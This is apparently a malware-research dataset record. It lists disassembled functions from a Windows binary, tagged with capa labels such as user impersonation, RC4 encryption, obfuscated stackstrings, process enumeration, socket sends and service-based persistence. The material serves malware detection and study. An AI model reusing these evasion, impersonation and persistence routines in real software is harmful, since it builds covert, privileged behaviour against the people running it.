joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100030a0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x20
push ebp
mov ebp, dword [esp + 0x2c]
push edi
xor edi, edi
cmp ebp, 0xffffffff
je 0x100030bd
cmp dword [0x1000f6b4], 6
jb 0x100030c8
test ebp, ebp
jne 0x100030c8
push ebp
call fcn.10009c50
add esp, 4
mov ebp, eax
cmp ebp, 0xffffffff
je 0x10003189
push ebx
push esi
push ebp
call fcn.10005860
mov ebx, dword [esp + 0x38]
mov esi, eax
add esp, 4
test esi, esi
je 0x10003100
push ebx
push esi
call fcn.100070d0
add esp, 8
push esi
mov edi, eax
call sub.NTDLL.dll_NtClose
test edi, edi
jne 0x10003191
push ebp
call fcn.1000e4e0
mov esi, eax
add esp, 4
test esi, esi
je 0x10003125
push ebx
push esi
call fcn.100070d0
add esp, 8
push esi
mov edi, eax
call sub.NTDLL.dll_NtClose
test edi, edi
jne 0x10003191
test ebx, ebx
je 0x10003191
lea ecx, [esp + 0x10]
push ecx
push 0
push 0
push 0
push 0
push 1
push ebx
mov dword [esp + 0x2c], 0x690057
mov dword [esp + 0x30], 0x53006e
mov dword [esp + 0x34], 0x610074
mov dword [esp + 0x38], 0x5c0030
mov dword [esp + 0x3c], 0x650044
mov dword [esp + 0x40], 0x610066
mov dword [esp + 0x44], 0x6c0075
mov dword [esp + 0x48], 0x74
call fcn.10006d40
add esp, 0x1c
pop esi
pop ebx
pop edi
pop ebp
add esp, 0x20
ret
mov eax, edi
pop edi
pop ebp
add esp, 0x20
ret
pop esi
pop ebx
mov eax, edi
pop edi
pop ebp
add esp, 0x20
ret

Function at 0x100031a0
Capabilities:
Impersonate user

Disassembly:
push ecx
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0xc]
push esi
push edi
lea eax, [esp + 8]
push eax
mov eax, dword [esp + 0x14]
xor edi, edi
push edi
push 2
push ecx
push edx
push eax
mov dword [esp + 0x20], edi
call dword [sym.imp.ADVAPI32.dll_LogonUserW]
mov esi, eax
test esi, esi
jne 0x100031d9
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x52f
jne 0x100031ec
mov edi, 1
test esi, esi
je 0x100031ec
mov ecx, dword [esp + 8]
push ecx
call sub.NTDLL.dll_NtClose
mov eax, edi
pop edi
pop esi
pop ecx
ret
Function at 0x10004570
Capabilities:
Resume thread

Disassembly:
push ebx
mov ebx, dword [esp + 8]
cmp dword [ebx], 0
je 0x100045be
push edi
xor edi, edi
cmp dword [ebx + 8], edi
jbe 0x100045ad
push esi
mov eax, dword [ebx]
mov ecx, dword [eax + edi*4]
push ecx
push 0
push 0x5a
call fcn.1000a920
mov esi, eax
test esi, esi
je 0x100045a6
push 0
push esi
call sub.NTDLL.dll_NtResumeThread
push esi
call sub.NTDLL.dll_NtClose
inc edi
cmp edi, dword [ebx + 8]
jb 0x10004583
pop esi
mov edx, dword [ebx]
mov eax, dword [0x10001514]
push edx
push 0
push eax
call fcn.1000b040
pop edi
pop ebx
ret

Function at 0x100045c0
Capabilities:
Encrypt data using rc4 ksa
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x100
xor eax, eax
jmp 0x100045d0
mov byte [esp + eax], al
inc eax
cmp eax, 0x100
jl 0x100045d0
push ebx
push ebp
mov ebp, dword [esp + 0x10c]
push esi
push edi
mov edi, dword [esp + 0x118]
xor esi, esi
xor ecx, ecx
mov eax, ecx
cdq
idiv edi
movzx ebx, byte [esp + ecx + 0x10]
movzx eax, word [ebp + edx*2]
add eax, ebx
add esi, eax
and esi, 0x800000ff
jns 0x10004614
dec esi
or esi, 0xffffff00
inc esi
mov dl, byte [esp + esi + 0x10]
mov byte [esp + ecx + 0x10], dl
inc ecx
mov byte [esp + esi + 0x10], bl
cmp ecx, 0x100
jl 0x100045f1
mov edx, dword [esp + 0x120]
xor esi, esi
xor edi, edi
xor eax, eax
test edx, edx
jle 0x10004698
mov ebp, dword [esp + 0x11c]
inc esi
and esi, 0x800000ff
jns 0x10004652
dec esi
or esi, 0xffffff00
inc esi
movzx ecx, byte [esp + esi + 0x10]
add edi, ecx
and edi, 0x800000ff
jns 0x10004669
dec edi
or edi, 0xffffff00
inc edi
mov bl, byte [esp + edi + 0x10]
mov byte [esp + esi + 0x10], bl
mov byte [esp + edi + 0x10], cl
movzx ebx, byte [esp + esi + 0x10]
add ebx, ecx
and ebx, 0x800000ff
jns 0x1000468c
dec ebx
or ebx, 0xffffff00
inc ebx
mov cl, byte [esp + ebx + 0x10]
xor byte [eax + ebp], cl
inc eax
cmp eax, edx
jl 0x10004641
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x100
ret
Function at 0x100046b0
Capabilities:
Encrypt data using rc4 ksa
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x100
xor eax, eax
jmp 0x100046c0
mov byte [esp + eax], al
inc eax
cmp eax, 0x100
jl 0x100046c0
push ebx
push ebp
mov ebp, dword [esp + 0x10c]
push esi
push edi
mov edi, dword [esp + 0x118]
xor esi, esi
xor ecx, ecx
mov eax, ecx
cdq
idiv edi
movzx ebx, byte [esp + ecx + 0x10]
movzx eax, byte [edx + ebp]
add eax, ebx
add esi, eax
and esi, 0x800000ff
jns 0x10004703
dec esi
or esi, 0xffffff00
inc esi
mov dl, byte [esp + esi + 0x10]
mov byte [esp + ecx + 0x10], dl
inc ecx
mov byte [esp + esi + 0x10], bl
cmp ecx, 0x100
jl 0x100046e1
mov edx, dword [esp + 0x120]
xor esi, esi
xor edi, edi
xor eax, eax
test edx, edx
jle 0x10004787
mov ebp, dword [esp + 0x11c]
inc esi
and esi, 0x800000ff
jns 0x10004741
dec esi
or esi, 0xffffff00
inc esi
movzx ecx, byte [esp + esi + 0x10]
add edi, ecx
and edi, 0x800000ff
jns 0x10004758
dec edi
or edi, 0xffffff00
inc edi
mov bl, byte [esp + edi + 0x10]
mov byte [esp + esi + 0x10], bl
mov byte [esp + edi + 0x10], cl
movzx ebx, byte [esp + esi + 0x10]
add ebx, ecx
and ebx, 0x800000ff
jns 0x1000477b
dec ebx
or ebx, 0xffffff00
inc ebx
mov cl, byte [esp + ebx + 0x10]
xor byte [eax + ebp], cl
inc eax
cmp eax, edx
jl 0x10004730
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x100
ret

Function at 0x100047a0
Capabilities:
Get token membership

Disassembly:
sub esp, 0x58
push edi
lea eax, [esp + 8]
push eax
xor edi, edi
push 0xa
mov dword [esp + 0x18], edi
mov dword [esp + 0x10], edi
call fcn.1000e490
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1000487d
cmp dword [0x1000f6b4], 5
mov dword [esp + 4], edi
mov dword [esp + 0xc], edi
jbe 0x1000481d
mov eax, dword [esp + 8]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
lea ecx, [esp + 0x10]
push ecx
push 4
lea edx, [esp + 0x20]
push edx
push 0x12
push eax
call esi
test eax, eax
je 0x10004816
cmp dword [esp + 0x18], 3
jne 0x10004816
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x10]
push ecx
push 4
lea edx, [esp + 0x10]
push edx
push 0x13
push eax
call esi
pop esi
cmp dword [esp + 4], edi
jne 0x10004835
mov edx, dword [esp + 8]
lea ecx, [esp + 4]
push ecx
push 1
push edx
call dword [sym.imp.ADVAPI32.dll_DuplicateToken]
cmp dword [esp + 4], edi
je 0x10004873
lea eax, [esp + 0xc]
push eax
lea ecx, [esp + 0x1c]
push ecx
push edi
push 0x1a
mov dword [esp + 0x1c], 0x44
call dword [sym.imp.ADVAPI32.dll_CreateWellKnownSid]
test eax, eax
je 0x10004869
mov ecx, dword [esp + 4]
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x1c]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov edx, dword [esp + 4]
push edx
call sub.NTDLL.dll_NtClose
mov eax, dword [esp + 8]
push eax
call sub.NTDLL.dll_NtClose
mov eax, dword [esp + 0x10]
pop edi
add esp, 0x58
ret
Function at 0x10005190
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
mov eax, dword [ebx + 0x3c]
push ebp
push esi
mov esi, dword [eax + ebx + 0x78]
mov eax, dword [esi + ebx + 0x24]
mov ebp, dword [esi + ebx + 0x20]
add esi, ebx
push edi
add eax, ebx
xor edi, edi
add ebp, ebx
mov dword [esp + 0x10], eax
cmp dword [esi + 0x18], edi
jbe 0x100051f6
mov dword [esp + 0x18], 0x1000f7d0
movzx ecx, word [eax + edi*2]
add ecx, dword [esi + 0x10]
cmp ecx, 0x28
ja 0x100051f0
mov edx, dword [ebp + edi*4]
mov eax, dword [0x1000f7cc]
add edx, ebx
push edx
push eax
call fcn.10009cf0
mov ecx, dword [esp + 0x18]
mov dword [ecx], eax
mov eax, dword [esp + 0x10]
add ecx, 4
mov dword [esp + 0x18], ecx
inc edi
cmp edi, dword [esi + 0x18]
jb 0x100051c1
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x10005700
Capabilities:
Send data
Send data on socket

Disassembly:
push esi
push edi
mov edi, dword [esp + 0x14]
mov eax, dword [edi]
xor esi, esi
test eax, eax
je 0x10005733
push ebx
mov ebx, dword [esp + 0x14]
push ebp
mov ebp, dword [esp + 0x14]
mov ecx, dword [ebp]
push 0
push eax
lea eax, [esi + ebx]
push eax
push ecx
call dword [sym.imp.WS2_32.dll_send]
add esi, eax
mov eax, dword [edi]
cmp esi, eax
jb 0x10005718
pop ebp
pop ebx
pop edi
mov eax, esi
pop esi
ret
Function at 0x10005aa0
Capabilities:
Terminate process

Disassembly:
sub esp, 0x20c
push esi
mov esi, dword [esp + 0x218]
push edi
mov edi, dword [esp + 0x220]
test esi, esi
jne 0x10005abe
test edi, edi
je 0x10005b25
cmp dword [0x10001810], 0
je 0x10005ad6
push 0
push 0x10001a78
call fcn.10006620
add esp, 8
test esi, esi
je 0x10005b21
push 0x52
push 0x10001b8c
lea eax, [esp + 0x10]
push 0x10001b80
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea ecx, [esp + 8]
push ecx
push 0
push 2
call dword [sym.imp.KERNEL32.dll_OpenEventW]
mov esi, eax
test esi, esi
je 0x10005b16
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call sub.NTDLL.dll_NtClose
pop edi
xor eax, eax
pop esi
add esp, 0x20c
ret
test edi, edi
jne 0x10005b37
mov edx, dword [esp + 0x218]
push 0
push edx
call fcn.10007230
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x10005b40
Capabilities:
Enumerate processes via ntquerysysteminformation
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
sub esp, 0x10
push edi
lea eax, [esp + 4]
push eax
xor edi, edi
push edi
push edi
push 5
mov dword [esp + 0x14], edi
call sub.NTDLL.dll_NtQuerySystemInformation
cmp eax, 0xc0000004
jne 0x10005cb3
mov eax, dword [esp + 4]
test eax, eax
je 0x10005cb3
push ebx
push 4
push 0x1000
push eax
push edi
call fcn.1000f100
mov ebx, eax
mov dword [esp + 0x14], ebx
test ebx, ebx
je 0x10005c65
mov edx, dword [esp + 8]
lea ecx, [esp + 8]
push ecx
push edx
push ebx
push 5
call sub.NTDLL.dll_NtQuerySystemInformation
test eax, eax
js 0x10005c55
cmp dword [esp + 8], edi
jbe 0x10005c55
mov dword [esp + 0xc], 1
push ebp
lea esp, [esp]
call fcn.1000d4c0
cmp dword [ebx + 0x44], eax
jne 0x10005c20
xor edi, edi
cmp dword [ebx + 4], edi
jbe 0x10005c20
lea eax, [ebx + 0xdc]
mov dword [esp + 0x14], eax
jmp 0x10005be0
mov ecx, dword [esp + 0x14]
mov ebp, dword [ecx]
call fcn.1000f510
cmp ebp, eax
je 0x10005c9f
mov ecx, dword [esi]
test ecx, ecx
jne 0x10005c6d
push 0x200
mov dword [esi + 4], 0x80
mov edx, dword [0x10001514]
push ecx
push edx
call fcn.1000abd0
mov dword [esi], eax
test eax, eax
jne 0x10005c94
mov dword [esp + 0x10], 0
mov eax, dword [ebx]
test eax, eax
je 0x10005c2a
add ebx, eax
jne 0x10005bc0
cmp dword [esp + 0x10], 0
pop ebp
jne 0x10005c4d
mov eax, dword [esi]
test eax, eax
je 0x10005c4d
mov ecx, dword [0x10001514]
push eax
push 0
push ecx
call fcn.1000b040
mov dword [esi], 0
mov ebx, dword [esp + 0x14]
mov edi, dword [esp + 0xc]
mov edx, dword [esp + 8]
push 0x8000
push edx
push ebx
call fcn.1000c2f0
pop ebx
mov eax, edi
pop edi
add esp, 0x10
ret
mov eax, dword [esi + 4]
cmp dword [esi + 8], eax
jb 0x10005c94
add eax, eax
mov dword [esi + 4], eax
add eax, eax
add eax, eax
push eax
push ecx
mov ecx, dword [0x10001514]
push 0
push ecx
call fcn.10009e10
test eax, eax
je 0x10005c18
mov dword [esi], eax
mov edx, dword [esi + 8]
mov eax, dword [esi]
mov dword [eax + edx*4], ebp
inc dword [esi + 8]
add dword [esp + 0x14], 0x40
inc edi
cmp edi, dword [ebx + 4]
jb 0x10005be0
jmp 0x10005c20
mov eax, edi
pop edi
add esp, 0x10
ret
Function at 0x10005dc0
Capabilities:
Create thread
Set current directory
Terminate process

Disassembly:
mov eax, dword [0x100014ec]
push esi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
mov esi, dword [esp + 0x10]
xor edi, edi
push edi
mov dword [0x1000f694], 0x20
mov dword [0x1000f698], 2
mov dword [0x1000f69c], 0x85
mov dword [0x1000f6a0], edi
mov dword [0x1000f6a4], edi
mov dword [0x1000f6a8], edi
mov dword [0x1000f6ac], edi
mov ecx, dword [esi]
push 0x1000f520
push ecx
call dword [sym.imp.ADVAPI32.dll_RegisterServiceCtrlHandlerExW]
mov dword [0x1000f690], eax
cmp eax, edi
je 0x10005ea2
mov edx, dword [esp + 0xc]
mov dword [0x1000f698], 4
cmp edx, 1
jbe 0x10005e54
lea eax, [edi + 1]
jle 0x10005e54
mov edi, edi
mov ecx, dword [esi + eax*4]
cmp word [ecx], 0x73
jne 0x10005e4f
cmp word [ecx + 2], di
je 0x10005e88
inc eax
cmp eax, edx
jl 0x10005e40
push 4
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call fcn.1000abd0
mov esi, eax
cmp esi, edi
je 0x10005e88
call dword [sym.imp.KERNEL32.dll_WTSGetActiveConsoleSessionId]
push edi
push edi
push esi
push 0x10006500
push edi
push edi
mov dword [esi], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call sub.NTDLL.dll_NtClose
pop edi
pop esi
mov dword [esp + 8], 0x1000f694
mov edx, dword [0x1000f690]
mov dword [esp + 4], edx
jmp dword [sym.imp.ADVAPI32.dll_SetServiceStatus]
push 0x1000f694
push edi
mov dword [0x1000f698], 1
call dword [sym.imp.ADVAPI32.dll_SetServiceStatus]
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x10006620
Capabilities:
Delete service
Query service status
Stop service

Disassembly:
sub esp, 0x20
push ebx
push ebp
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
xor ebp, ebp
push 0xf003f
push ebp
push ebp
mov dword [esp + 0x18], ebp
call esi
mov ebx, eax
test ebx, ebx
jne 0x10006651
push 1
push eax
push eax
call esi
mov ebx, eax
test ebx, ebx
je 0x100066e7
mov eax, dword [esp + 0x30]
push edi
push 0xf01ff
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
test edi, edi
je 0x100066df
lea ecx, [esp + 0x14]
push ecx
push edi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [esp + 0x18], 1
je 0x100066b8
lea edx, [esp + 0x14]
push edx
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x100066d4
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
lea eax, [esp + 0x14]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [esp + 0x18], 1
je 0x100066b8
push 0x3e8
call ebp
inc esi
cmp esi, 0x3c
jl 0x10006696
jmp 0x100066d4
cmp dword [esp + 0x38], 0
jne 0x100066c9
mov dword [esp + 0x10], 1
jmp 0x100066d4
push edi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
mov dword [esp + 0x10], eax
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ebp, dword [esp + 0x10]
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
pop esi
mov eax, ebp
pop ebp
pop ebx
add esp, 0x20
ret
Function at 0x10006d40
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Set environment variable
Terminate process

Disassembly:
sub esp, 0x90
push esi
push edi
push 0x44
lea eax, [esp + 0x58]
push eax
call sub.NTDLL.dll_RtlZeroMemory
push 0x10
lea ecx, [esp + 0x48]
push ecx
call sub.NTDLL.dll_RtlZeroMemory
mov esi, dword [esp + 0xa0]
mov dword [esp + 0x54], 0x44
test esi, esi
jne 0x10006d7e
mov dword [esp + 0x80], 1
mov eax, dword [esp + 0xb4]
test eax, eax
je 0x10006d8d
mov dword [esp + 0x5c], eax
mov edi, dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
xor ecx, ecx
xor edx, edx
mov dword [esp + 8], 0x5f005f
mov dword [esp + 0xc], 0x6f0063
mov dword [esp + 0x10], 0x70006d
mov dword [esp + 0x14], 0x740061
mov dword [esp + 0x18], 0x6c005f
mov dword [esp + 0x1c], 0x790061
mov dword [esp + 0x20], 0x720065
mov word [esp + 0x24], cx
mov dword [esp + 0x28], 0x750052
mov dword [esp + 0x2c], 0x41006e
mov dword [esp + 0x30], 0x490073
mov dword [esp + 0x34], 0x76006e
mov dword [esp + 0x38], 0x6b006f
mov dword [esp + 0x3c], 0x720065
mov word [esp + 0x40], dx
cmp dword [0x10001580], ecx
jne 0x10006e1d
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0xc]
push ecx
call edi
mov eax, dword [0x10001808]
lea edx, [esp + 0x44]
push edx
test eax, eax
je 0x10006e59
mov edx, dword [esp + 0xb4]
lea ecx, [esp + 0x58]
push ecx
mov ecx, dword [esp + 0xa4]
push edx
push 0
neg esi
sbb esi, esi
and esi, 0x8000000
push esi
push 0
push 0
push 0
push ecx
push 0
call eax
jmp 0x10006e89
mov ecx, dword [esp + 0xb4]
mov edx, dword [esp + 0xa0]
lea eax, [esp + 0x58]
push eax
push ecx
push 0
neg esi
sbb esi, esi
and esi, 0x8000000
push esi
push 0
push 0
push 0
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp dword [0x10001580], 0
mov esi, eax
jne 0x10006e9d
push 0
lea eax, [esp + 0xc]
push eax
call edi
pop edi
test esi, esi
pop esi
je 0x10006f1d
mov eax, dword [esp + 0x9c]
test eax, eax
je 0x10006efd
cmp eax, 0xffffffff
je 0x10006ebb
imul eax, eax, 0x3e8
jmp 0x10006ebe
or eax, 0xffffffff
mov ecx, dword [esp + 0x3c]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x10006ee7
mov eax, dword [esp + 0xa0]
test eax, eax
je 0x10006efd
mov edx, dword [esp + 0x3c]
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
jmp 0x10006efd
cmp dword [esp + 0xa4], 0
je 0x10006efd
mov eax, dword [esp + 0x3c]
push 0
push eax
call sub.NTDLL.dll_NtTerminateProcess
mov ecx, dword [esp + 0x40]
push ecx
call sub.NTDLL.dll_NtClose
mov edx, dword [esp + 0x3c]
push edx
call sub.NTDLL.dll_NtClose
mov eax, 1
add esp, 0x90
ret
xor eax, eax
add esp, 0x90
ret
Function at 0x10006f60
Capabilities:
Start service

Disassembly:
push ecx
push ebp
push edi
push 1
xor edi, edi
push 0x1000220c
push edi
mov dword [esp + 0x14], edi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov ebp, eax
test ebp, ebp
je 0x10006fe4
mov eax, dword [esp + 0x10]
push esi
push 0x10
push eax
push ebp
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov esi, eax
test esi, esi
je 0x10006fdc
push ebx
lea ebx, [edi + 2]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
lea esp, [esp]
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
jne 0x10006fc8
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x420
jne 0x10006fc8
push 0x7d0
call edi
dec ebx
jne 0x10006fa0
jmp 0x10006fd0
mov dword [esp + 0x10], 1
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov edi, dword [esp + 0x10]
pop ebx
push ebp
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop esi
mov eax, edi
pop edi
pop ebp
pop ecx
ret

Function at 0x100070d0
Capabilities:
Contain obfuscated stackstrings
Create process on windows

Disassembly:
sub esp, 0x78
push esi
push edi
mov edi, dword [esp + 0x84]
xor esi, esi
test edi, edi
je 0x1000721c
push ebx
push esi
push edi
lea eax, [esp + 0x14]
push eax
lea ebx, [esi + 0x20]
mov dword [esp + 0x18], esi
call sub.USERENV.dll_CreateEnvironmentBlock
test eax, eax
je 0x10007103
mov ebx, 0x420
push 0x44
lea ecx, [esp + 0x44]
push ecx
call sub.NTDLL.dll_RtlZeroMemory
push 0x10
lea ecx, [esp + 0x14]
lea eax, [esp + 0x24]
push ecx
mov dword [esp + 0x48], 0x44
mov dword [esp + 0x28], 0x690057
mov dword [esp + 0x2c], 0x73006e
mov dword [esp + 0x30], 0x610074
mov dword [esp + 0x34], 0x5c0030
mov dword [esp + 0x38], 0x650044
mov dword [esp + 0x3c], 0x610066
mov dword [esp + 0x40], 0x6c0075
mov dword [esp + 0x44], 0x74
mov dword [esp + 0x50], eax
call sub.NTDLL.dll_RtlZeroMemory
cmp dword [0x1000151c], esi
jne 0x100071c9
mov eax, dword [0x100014c0]
lea edx, [esp + 0x10]
push edx
test eax, eax
je 0x100071a3
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x44]
push ecx
mov ecx, dword [esp + 0x94]
push 0
push edx
push ebx
push 0
push 0
push 0
push ecx
push 0
push edi
call eax
jmp 0x100071f3
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x90]
lea eax, [esp + 0x44]
push eax
push 0
push ecx
push ebx
push 0
push 0
push 0
push edx
push 0
push edi
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
jmp 0x100071f3
mov eax, dword [0x10001510]
test eax, eax
je 0x1000720d
lea ecx, [esp + 0x10]
push ecx
mov ecx, dword [esp + 0x10]
lea edx, [esp + 0x44]
push edx
mov edx, dword [esp + 0x94]
push 0
push ecx
push ebx
push edx
push 0
push 0
push edi
call eax
mov esi, eax
test esi, esi
je 0x1000720d
mov eax, dword [esp + 0x14]
push eax
call sub.NTDLL.dll_NtClose
mov ecx, dword [esp + 0x10]
push ecx
call sub.NTDLL.dll_NtClose
mov eax, dword [esp + 0xc]
pop ebx
test eax, eax
je 0x1000721c
push eax
call sub.USERENV.dll_DestroyEnvironmentBlock
pop edi
mov eax, esi
pop esi
add esp, 0x78
ret
Function at 0x100075c0
Capabilities:
Get token membership

Disassembly:
sub esp, 0x10
push ebx
xor ebx, ebx
lea eax, [esp + 4]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
push 2
lea ecx, [esp + 0x34]
push ecx
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], ebx
mov word [esp + 0x3c], 0x500
mov dword [esp + 0x30], ebx
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x10007618
mov eax, dword [esp + 4]
lea edx, [esp + 8]
push edx
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov ecx, dword [esp + 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [esp + 8]
pop ebx
add esp, 0x10
ret

Function at 0x10007670
Capabilities:
Resolve dns

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
mov esi, eax
cmp esi, 0xffffffff
je 0x10007694
mov eax, dword [esp + 0x10]
test eax, eax
je 0x1000768f
mov dword [eax + 4], esi
mov eax, esi
pop edi
pop esi
ret
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x1000768f
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov eax, dword [ecx]
mov ecx, dword [esp + 0x10]
test ecx, ecx
je 0x10007691
pop edi
mov dword [ecx + 4], eax
pop esi
ret
Function at 0x100093b0
Capabilities:
Create process on windows
Get common file path
Persist via windows service
Set registry value

Disassembly:
sub esp, 0x58
mov ecx, dword [0x100017fc]
push ebp
xor ebp, ebp
push ebp
neg ecx
sbb ecx, ecx
lea eax, [esp + 8]
push eax
push ebp
and ecx, 0x100
add ecx, 0x20006
push ecx
push ebp
push ebp
push ebp
push 0x10002128
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [esp + 0x28], ebp
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x10009535
push edi
mov edi, dword [esp + 0x64]
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea edx, [eax + eax + 2]
mov eax, dword [esp + 8]
push edx
push edi
push 2
push ebp
push 0x1000210c
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x10009529
lea ebp, [eax + 1]
cmp dword [0x100017fc], eax
je 0x10009529
mov eax, dword [0x1000f820]
cmp dword [eax + 4], 6
jne 0x10009529
cmp dword [eax + 8], 0
jne 0x10009529
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push 0x1000
push 8
call ebx
push eax
call fcn.1000abd0
mov esi, eax
test esi, esi
je 0x10009527
push 0x800
lea edx, [esi + 2]
mov ecx, 0x22
push edx
mov word [esi], cx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x1000951c
inc eax
cmp word [esi + eax*2 - 2], 0x5c
je 0x1000949b
mov ecx, 0x5c
mov word [esi + eax*2], cx
inc eax
push edi
lea edx, [esi + eax*2]
push 0x10002278
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0x44
lea eax, [esp + 0x28]
push eax
call sub.NTDLL.dll_RtlZeroMemory
push 0x10
lea ecx, [esp + 0x18]
push ecx
mov dword [esp + 0x2c], 0x44
mov dword [esp + 0x58], ebp
call sub.NTDLL.dll_RtlZeroMemory
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x28]
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
push esi
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x1000951c
mov ecx, dword [esp + 0x14]
push 0x7530
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [esp + 0x18]
push edx
call sub.NTDLL.dll_NtClose
mov eax, dword [esp + 0x14]
push eax
call sub.NTDLL.dll_NtClose
push esi
push 0
call ebx
push eax
call fcn.1000b040
pop esi
pop ebx
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, ebp
pop ebp
add esp, 0x58
ret